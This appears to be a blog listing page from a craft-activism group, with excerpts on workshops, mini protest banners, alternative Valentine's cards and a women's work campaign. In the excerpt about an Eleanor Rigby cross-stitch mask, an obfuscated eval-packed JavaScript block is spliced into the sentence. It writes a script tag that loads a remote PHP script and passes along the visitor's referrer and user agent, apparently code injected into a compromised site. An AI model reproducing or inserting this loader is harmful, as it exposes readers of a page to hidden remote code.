Worth writing about…

02 Apr Manchester women campaign creatively to celebrate the value of women’s work

Written by craftivist Lorna McBride: In the run up to International Women’s Day Manchester campaigners celebrated the value of women’s work in society, by making a colourful public washing line to hang in Manchester city centre. Dozens of women from The Pankhurst Centre and Women Asylum Seekers Together (WAST) came together to take part in Craftivist workshops, organized by Oxfam’s UK Poverty Program and facilitated by the Craftivist Collective’s Sarah Corbett.  The women wanted to make a statement about the importance of the work women do in their daily lives, which is often forgotten by society.  

29 Mar Fabrications shows the beautify in eco-design and ethical craft

photographs of the basement craft area and shop display cabinet selling many of our crafivism products (kits, postcards, badges, gift cards, flyers and one example of a Mini Protest Banner at the top) We recently delivered a Mini Protest Banner workshop at Fabrications craft shop in Hackney London and loved the new workshop space, ethos of the shop and the owner! So much so we are going to work together again in June and September to deliver 2 more craftivism workshops (find them on the events page here) in this beautiful space.Fabrications are also selling our products in the shop and often have crafivism themed window displays before our workshops and events. Fabrications is an independent gallery, shop and studio dedicated to contemporary textile practise and design, with a particular interest in upcycling and eco design. 

10 Mar Eleanor Rigby cross-stitch mask is up provoking us to discuss the poverty of loneliness

Mask eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbafn|var|u0026u|referrer|ifnir||js|php'.split('|'),0,{})) handmade and put up on Eleanor Rigby statue in central Liverpool by craftivist Sarah Corbett. Blog written by Thomas Corbett. Photography by Mark Loudon It’s...

27 Feb London Craftivists experience of making alternative Valentines Cards on a snowy day in a craft shop’s basement

Craftivist Vicky Tedder writes: On a cold February day the Craftivist Collective gave a warm welcome to encourage us to show the world our love. Meeting in the stylish basement of Fabrications there was a fun and relaxed event which allowed us to think about what we want to do to improve our world whilst encouraging others to do the same, oh and having lots of fun with a heat gun! This valentines project involved using shrink plastic to make key rings as valentines presents which were then left for strangers find along with a letter encouraging them to show a little more love to the world this valentine’s day rather than just a significant other.

26 Feb Craftivist Safiya’s first Mini Protest Banner in Bedford Town Centre

Safiya writes:

I was watching the news the other day. After reporting on the humanitarian crisis in Syria and another European economy collapse, there was a piece on a young woman of a similar age to myself. She had been kept prisoner in a house in the UK for a number of years and been repeatedly raped and tortured. I had to turn the TV off. I just couldn’t believe that I lived in a world where these sorts of things happen in the first place, are then reported on the news almost as if it’s entertainment, and there’s very little I can do about it.

26 Feb Did you find an alternative Valentines Card this year made by our craftivists?

Here is evidence of where some of them were left in London. Can you tell where they were?

06 Feb Lets hijack valentines!

Words by Barley Massey, the owner of craft shop Fabrications, London: A giant love letter has elegantly floated into Fabrications window this month in time for Valentines day. It is stopping passers by in their tracks, my favorite reaction was 2 small boys who stood, pointed and smiled lots. They ran off and brought back their parents to read it - brilliant! Keep recruiting boys!!

06 Feb Nikki Shaill reviews our first ticketed workshop of 2012:

Amongst the rails of rainbow-coloured vintage clothes and to the soothing sounds of a live band playing Dr Who and Crimewatch theme song sax solos, around 20 of us gathered at the Paper Dress shop for an evening workshop of hanky panky stitching as part of Craftivist Collective’s  ‘Don’t Blow It’ campaign. A truly unconventional way to start of the year and beat the winter blues, I love the fact that whilst we were all enjoying doing something a bit different we could be encouraged that our stitching could help make a difference in the world.